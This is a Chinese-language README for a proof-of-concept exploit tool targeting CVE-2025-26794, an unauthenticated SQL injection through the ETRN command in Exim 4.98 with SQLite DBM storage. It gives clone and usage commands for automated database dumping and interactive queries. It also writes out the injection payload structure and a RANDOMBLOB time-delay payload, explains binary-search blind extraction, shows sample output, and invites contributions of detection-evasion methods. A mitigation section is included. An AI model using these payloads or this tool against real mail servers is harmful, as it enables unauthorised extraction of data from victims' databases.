CVE-2025-26794：Exim ETRN SQL 注入漏洞利用工具

一个针对 CVE-2025-26794 的概念验证（PoC）利用工具，演示了 Exim 4.98 邮件服务器在使用 SQLite DBM 存储时，通过 ETRN 命令触发的 SQL 注入漏洞。

⚠️ 法律免责声明

仅供授权的安全测试使用

本工具仅用于教育目的和授权渗透测试。未经授权访问计算机系统违反多项法律，包括：

• 美国《计算机欺诈与滥用法》（CFAA）
• 英国《计算机滥用法》
• 其他司法辖区的类似法律

在测试任何非您所有的系统之前，您必须获得明确的书面授权。

作者和贡献者对本工具造成的滥用或损害不承担任何责任。

📋 漏洞概述

CVE-2025-26794 是 Exim 4.98 中的一个 SQL 注入漏洞，当满足以下条件时发生：

• Exim 配置使用 SQLite DBM 存储
• ETRN 命令处理器处理序列化数据
• 用户可控输入在构造 SQL 查询前未经过充分过滤

该漏洞允许攻击者：

• 从邮件服务器数据库提取敏感数据
• 执行基于时间的盲 SQL 注入攻击
• 枚举数据库结构（表、列、数据）

受影响版本

• 配置了 SQLite DBM 的 Exim 4.98

攻击向量

• 可通过网络访问的 SMTP 服务（通常为 25 端口）
• 无需身份验证（ETRN 命令在认证前即可使用）

🚀 功能特性

• 漏洞检测：自动检查目标是否存在漏洞
• 基于时间的盲 SQL 注入：利用 SQLite 时间延迟技术提取数据
• 二分搜索优化：高效的逐字符提取
• 自动化数据库转储：提取表、列和样本数据
• 交互模式：以交互方式执行自定义 SQL 查询
• 多模式操作：灵活的提取策略

📦 安装

环境要求

• Python 3.6 或更高版本
• 可访问目标 SMTP 服务器的网络

安装步骤

# 克隆仓库
git clone https://github.com/XploitGh0st/CVE-2025-26794-exploit.git
cd CVE-2025-26794-exploit

# 安装依赖（无需额外依赖 - 仅使用标准库）
pip install -r requirements.txt

# 赋予脚本执行权限（Linux/Mac）
chmod +x exploit.py

💻 使用方法

基本语法

python3 exploit.py <target> [options]

快速示例

1. 测试目标是否存在漏洞

python3 exploit.py 192.168.1.10 --test-only

2. 自动化数据库转储

python3 exploit.py mail.example.com --auto-dump

3. 交互式 SQL 查询模式

python3 exploit.py 10.0.0.5 --interactive

4. 提取特定表结构

python3 exploit.py 192.168.1.10 --table users --columns

5. 执行自定义 SQL 查询

python3 exploit.py 192.168.1.10 --query "SELECT sqlite_version()"

命令行选项

🔍 工作原理

攻击流程

1. 连接：与目标服务器建立 SMTP 连接
2. 基线测量：发送正常 ETRN 命令以测量响应时间
3. 注入测试：发送时间延迟 SQL 载荷以确认漏洞
4. 数据提取：使用基于时间的盲 SQL 注入配合二分搜索逐字符提取数据

SQL 注入载荷结构

ETRN #',1); <MALICIOUS_QUERY> /*

该载荷利用 ETRN 序列化处理器中的过滤缺陷，将 SQL 注入到 SQLite 查询中。

基于时间的检测

使用 SQLite 特有的时间延迟：

SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))

当条件为真时，会产生约 1-2 秒的可测量延迟。

📊 输出示例

╔═══════════════════════════════════════════════════════════╗
║     CVE-2025-26794: Exim SQLi Data Extraction Tool        ║
║                  FOR AUTHORIZED USE ONLY                  ║
╚═══════════════════════════════════════════════════════════╝

[*] Testing vulnerability...
[+] Normal response time: 0.123s
[+] Delayed response time: 1.456s
[!!!] VULNERABLE - Time difference: 1.333s

[*] Extracting table names...
[*] Extracting table 1...
[+] Extracted: users
[+] Found table: users

[*] Extracting columns from table 'users'...
[+] Found column: id
[+] Found column: username
[+] Found column: email

🛡️ 缓解措施

如果您正在运行使用 SQLite DBM 的 Exim 4.98：

1. 更新 Exim：升级到已修复版本（4.98.1 或更高版本）
2. 输入验证：对 ETRN 命令实施严格的输入验证
3. 参数化查询：对所有数据库操作使用预处理语句
4. 防火墙规则：限制 SMTP 访问仅限可信网络
5. 禁用 ETRN：如非必要，在 Exim 配置中禁用 ETRN 命令

🔧 技术细节

二分搜索算法

该利用工具使用二分搜索高效提取字符：

• ASCII 可打印范围：32-126
• 每个字符平均查询次数：约 7 次（log₂ 94）
• 针对最小化网络流量进行了优化

使用的 SQLite 函数

• unicode()：获取字符的 ASCII 值
• substr()：从结果中提取子字符串
• sqlite_master：用于模式枚举的系统表
• pragma_table_info()：列元数据提取

📚 参考资料

• CVE 详情：CVE-2025-26794
• Exim 安全公告：[官方 Exim 公告]
• OWASP SQL 注入：OWASP 指南

🤝 贡献

欢迎以下方面的贡献：

• 性能优化
• 额外的提取技术
• 检测规避方法
• 错误修复和改进

请确保所有贡献包含：

• 清晰的文档
• 负责任披露准则
• 法律使用警告

📝 许可证

本项目仅用于教育目的。请负责任且合法地使用。

👤 作者

XploitGh0st

• GitHub：@XploitGh0st

🙏 致谢

• Exim 开发团队对漏洞的负责任处理
• 安全研究社区
• SQLite 基于时间注入技术的研究人员

⚖️ 负责任披露

如果您使用本工具发现漏洞：

1. 不要立即公开披露细节
2. 私下联系供应商/维护者
3. 给予合理的修复时间（通常为 90 天）
4. 遵循协调披露准则

请记住：能力越大，责任越大。请以合乎道德和合法的方式使用本工具。